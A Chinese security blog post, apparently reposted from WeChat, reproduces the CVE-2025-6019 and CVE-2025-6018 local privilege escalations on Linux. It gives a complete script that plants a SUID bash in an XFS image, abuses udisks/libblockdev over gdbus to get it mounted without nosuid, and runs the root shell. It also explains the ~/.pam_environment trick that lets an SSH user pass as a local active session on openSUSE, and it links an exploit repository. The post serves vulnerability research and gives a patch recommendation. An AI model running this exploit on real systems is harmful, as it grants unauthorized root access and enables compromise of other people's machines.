CVE-2025-6018 and CVE-2025-6019 本地提权

admin 2025年7月8日11:30:11评论14 views字数 2956阅读9分51秒阅读模式

01 漏洞介绍 

CVE-2025-6018: 在 openSUSE 15 的 PAM 中从无特权用户到 allow_active 的本地权限提升

CVE-2025-6019: 通过 udisks 利用 libblockdev 从 allow_active 到 root 的本地权限提升

02 CVE-2025-6019本地复现 

根据Qualys安全公告不难知道这个CVE的问题出现在xfs文件系统临时挂载的操作上,没有正确使用nosuid,从而导致的问题出现

先构建一个xfs的镜像,在其中放入bash

dd if=/dev/zero of=xfs.image bs=1M count=300# XFSmkfs.xfs -f xfs.imagesudo mkdir -p /mnt/malicious_imagesudo mount -t xfs xfs.image /mnt/malicious_image# SUID Shellsudo cp /bin/bash /mnt/malicious_image/root-shellsudo chmod 4755 /mnt/malicious_image/root-shellsudo umount /mnt/malicious_imagesudo rmdir /mnt/malicious_imageecho "ok"
调用脚本
echo "当前用户: $(whoami)"id# yesgdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanRebootkillall -KILL gvfs-udisks2-volume-monitor &>/dev/null# loop 设备udisksctl loop-setup --file ~/xfs.image# 启动后台进程while truedo /tmp/blockdev*/root-shell -c 'sleep 5' && breakdone &>/dev/null &# UDisks2 触发漏洞gdbus call --system --dest org.freedesktop.UDisks2     --object-path /org/freedesktop/UDisks2/block_devices/loop0     --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' &>/dev/null# 等待sleep 2# 查找并执行 SUID ShellROOT_SHELL_PATH=$(find /tmp -name "root-shell" -perm -4000 2>/dev/null | head -n 1)if [ -n "$ROOT_SHELL_PATH" ]; then    echo "成功找到 Root Shell: $ROOT_SHELL_PATH"    echo "正在提权..."    ${ROOT_SHELL_PATH} -pelse    echo "错误: 未找到 SUID Shell,提权失败。"fi

若成功则效果如下

CVE-2025-6018 and CVE-2025-6019 本地提权

可以看到euid已经为root

修复建议:

将libblockdev更新到3.3.1以上

03 CVE-2025-6018

CVE-2025-6018需要openSUSE的环境,我手上没有相关环境,遂只尝试说明问题

在ssh远程的情况下,这个漏洞无法直接使用,原因是Polkit的权限管理

CVE-2025-6018 and CVE-2025-6019 本地提权

以reboot策略为例

<actionid="org.freedesktop.login1.reboot">                <descriptiongettext-domain="systemd">Reboot the system</description>                <messagegettext-domain="systemd">Authentication is required to reboot the system.</message>                <defaults>                        <allow_any>auth_admin_keep</allow_any>                        <allow_inactive>auth_admin_keep</allow_inactive>                        <allow_active>yes</allow_active>                </defaults>                <annotatekey="org.freedesktop.policykit.imply">org.freedesktop.login1.set-wall-message</annotate></action>

其中<allow_active>yes</allow_active>控制本地,假设请求来自一个本地的活跃会话则允许操作<allow_any>auth_admin_keep</allow_any>控制其他会话,若请求来自除了本地的活跃会话外的其他会话则需要admin授权

假设我们在ssh会话中尝试 会触发Polkit会话控制,效果如下

(ssh)neko@aosc-neko205 [ tmp ] $ bash 22.sh 当前用户: nekouid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)('challenge',)==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ====设定回环设备需要身份验证Authenticating as: nekoPassword

而opensuse的问题也就出在这里,根据Qualys安全公告说明假设构造一个~/.pam_environment 其中内容为XDG_SEAT=seat0 XDG_VTNR=1 则无管理员权限的攻击者可以通过ssh登入,伪装为本地用户,即Polkit语境下的allow_active权限,从而进行CVE-2025-6019的利用完成提权

04 CVE-2025-6019 EXP

https://github.com/neko205-mx/CVE-2025-6019_Exploit

参考文档:

https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt

https://wiki.archlinuxcn.org/wiki/Polkit

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@Neko205

CVE-2025-6018 and CVE-2025-6019 本地提权
CVE-2025-6018 and CVE-2025-6019 本地提权

原文始发于微信公众号(星盟安全):CVE-2025-6018 and CVE-2025-6019 本地提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月8日11:30:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-6018 and CVE-2025-6019 本地提权https://cn-sec.com/archives/4231890.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息